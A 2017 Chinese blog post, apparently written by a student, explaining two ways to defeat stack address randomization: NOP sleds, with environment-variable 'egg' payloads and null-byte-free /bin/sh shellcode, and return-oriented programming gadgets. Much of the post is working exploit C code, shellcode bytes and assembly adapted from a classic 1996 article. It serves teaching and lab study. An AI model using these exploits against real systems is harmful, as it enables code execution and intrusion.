对抗栈帧地址随机化/ASLR的两种思路和一些技巧

栈帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。


第一次遇到这个问题是在做cs:app3e/深入理解操作系统attacklab实验的时候,后来在做学校的一个实验的时候也碰到了这个问题,最近在看一篇“上古黑客”写的文章的时候又碰到了这个问题,所以写一篇博文总结一下我了解的两种对抗思路。




1. NOP slide

注:以下环境基于Linux IA-32

第一种思路是NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。

使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。

很多时候我们是把注入的代码放在存在溢出问题的缓冲区中的(例如一个execve指令),然后将缓冲区所在栈帧的返回地址淹没为缓冲区的起始地址,这样回收栈帧返回时%rip就会转向到缓冲区的位置,随后开始执行我们注入的指令。如下所示,其中S代表我们注入的指令,0xD8代表了buffer的起始地址:

           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack

而问题就在于在地址随机化的情况下我们需要完全准确的猜中buffer的起始地址(下文中使用“命中”这个词代指),而这是非常低效的——我们可能要成千上万次才能发生一次命中。究其根本原因就是必须命中一个点,如果我们能够将命中范围扩大,命中的几率也会上升——这就是我们插入大量NOP指令的原因。大多数处理器都有这个“null 指令”,它除了使%rip指向下一条指令外没有别的用处,通常用来进行对齐或者延时。如果我们将注入的代码放在buffer的高地址处,低地址处全部放上连续的NOP指令,这样我们只需要命中低地址的任何一个ROP指令,最终都会滑动到注入的代码部分,如下所示,N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置。

           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack

演示代码:

vulnerable.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */
}

exploit.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)  /* 先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,为payload的一半大小 */
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)   /* 再填入shellcode */
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");  /* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */
}

攻击:

[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$

第一次即成功命中 ; )


1.1 Small Buffer Overflows

有些时候存在溢出漏洞的缓冲区很小,我们不能完整的注入攻击代码,或者说能够注入的NOP指令很少,命中的概率还是很低。但是如果我们能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制(将返回地址改成该环境变量在内存中的地址。

当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()设置的环境变量会在存放在别处,一开始栈是这个样子:

  <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

我们要做的就是使得一个新的shell环境下新增一个包含攻击payload的环境变量:

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);    /* 环境变量中存放payload的空间大小 */


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;    /* 猜测环境变量存在的地址 */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)  /* 将buffer中完全填充为猜测的环境变量的地址 */
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) /* 将环境变量设置为NOP+shellcode */
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4); /* 设置环境变量, 一个是待会作为参数的RET,另一个是RET要命中的EGG */
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}

攻击

[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$

成功命中$EGG ; )


1.2 IP relative addressing instructions

刚刚上面讲到了如何将执行流转到我们注入的攻击代码处,但是在实际使用时又会产生一个新的问题:如果攻击代码需要使用绝对地址怎么办。我们可以利用JMP和CALL这两个使用%rip相对地址寻址的指令获得对应位置的绝对地址,由于JMP和CALL指令不需要知道目标的绝对地址,而CALL指令执行的时候会将下一条指令的绝对地址存入栈中,我们就可以结合JMP和CALL及POP指令获得绝对地址。如下所示,我们要获得ssssss("/bin/sh")对应的绝对地址,JJ代表JMP指令,CC代表CALL指令,执行顺序用(1)(2)(3)标出:

           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack

对应的伪代码如下:

    jmp    offset-to-call           # 2 bytes
    popl   %esi                     # 1 byte  将刚刚push的"/bin/sh"的绝对地址取出
    movl   %esi,array-offset(%esi)  # 3 bytes
    movb   $0x0,nullbyteoffset(%esi)# 4 bytes
    movl   $0x0,null-offset(%esi)   # 7 bytes
    movl   $0xb,%eax                # 5 bytes
    movl   %esi,%ebx                # 2 bytes
    leal   array-offset,(%esi),%ecx # 3 bytes
    leal   null-offset(%esi),%edx   # 3 bytes
    int    $0x80                    # 2 bytes execve(name[0], name, NULL);
    movl   $0x1, %eax               # 5 bytes
    movl   $0x0, %ebx               # 5 bytes
    int    $0x80                    # 2 bytes exit(0)   
    call   offset-to-popl           # 5 bytes 将执行流转到第二行的pop处,并把高地址的"/bin/sh"的绝对地址push进栈中
    /bin/sh string goes here.
    

计算偏移量,得到最终的payload:

    jmp    0x26                     # 2 bytes
    popl   %esi                     # 1 byte
    movl   %esi,0x8(%esi)           # 3 bytes
    movb   $0x0,0x7(%esi)           # 4 bytes
    movl   $0x0,0xc(%esi)           # 7 bytes
    movl   $0xb,%eax                # 5 bytes
    movl   %esi,%ebx                # 2 bytes
    leal   0x8(%esi),%ecx           # 3 bytes
    leal   0xc(%esi),%edx           # 3 bytes
    int    $0x80                    # 2 bytes
    movl   $0x1, %eax               # 5 bytes
    movl   $0x0, %ebx               # 5 bytes
    int    $0x80                    # 2 bytes
    call   -0x2b                    # 5 bytes
    .string \"/bin/sh\"   # 8 bytes
    


1.3 Avoid null bytes

很多时候我们的输入都是从终端输入,程序使用scanf等等函数接收输入。如果我们指令中含有null ’\0'这样的字节,就可能会发生截断问题,导致payload后部分输入不能被读入,这个时候就需要给payload中的指令做一些替换,例如:

           替换前:                               替换后:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

转换之后的payload:

        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
                                        # 46 bytes
          



2. Return-Oriented Programming

注:以下环境基于Linux x86-64

第二种思路简称ROP攻击,是代码复用技术的一种。 思路是将执行流转向内存中存在的机器指令,这些指令可能是该程序本身包含的.text处的指令,也可能是各种库之中的,虽然内存中几乎不可能存在完整的攻击指令,但是我们可以找到很多指令片段(称为"gadgets"),其中每一个gadget的最后都是ret指令,所以最后会返回到我们控制的栈中指示的下一个gadget的地址处,依次将所有栈中指示的gadget执行一遍,通过这些"gadgets"的组合,我们就可以达到完整攻击的目的。ROP可以绕过栈帧地址随机化、限制可执行代码区域、代码签名等安全措施。

使用前提:未开启栈破坏检测(canary)。

攻击方式如下所示,其中栈由上向下生长(c3是ret指令):


有人可能会问,即使我们能够利用现成的指令, 但是一些特定的指令还是可能没有,例如在返回前popq %rdi(不是callee saved)这样的指令就很难存在。实际上,我们不仅可以使用“现成”的“完整”指令,还可以将一个长的指令拆开,利用其中分解出的指令。举个栗子:

我们在内存中找到这样一个函数

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

看起来这个函数的功能对我们的攻击没什么用,因为他是将一个特定的常数赋值给指定的内存块。

0000000000400f15 <setval_210>:
400f15:     c7 07 d4 48 89 c7           movl    $0xc78948d4,(%rdi)
400f1b:     c3                          retq

但是,如果我们将这个指令拆开,查找指令表:

可以发现48 89 c7可以对应到movq %rax, %rdi,接着也是一个c3 ret指令。所以我们就可以使用这个gadget了,它的功能是将%rax赋值给%rdi。需要注意的是这个函数的起始地址为0x400f15,我们的gadget从第四个字节开始,所以我们在栈帧中给这个gadget的地址应该为0x400f18。

寻找gadget的开源工具网上有很多,大家可以找找。




参考:

  1. Smashing The Stack For Fun And Profit 这是Phrack上的一篇古老的文章,写于1996年,文中有一些方法和操作已经过时了,但是思路很好。另外,Phrack真的是一个很好的资源地,以后有时间会多多翻译的。
  2. Attack Lab Writeup CMU的深入理解计算机系统实验课指导。
  3. putenv() and setenv() 关于setenv()putenv()的区别
posted @ 2017-11-04 16:23 李秋豪 阅读(...) 评论(...) 编辑 收藏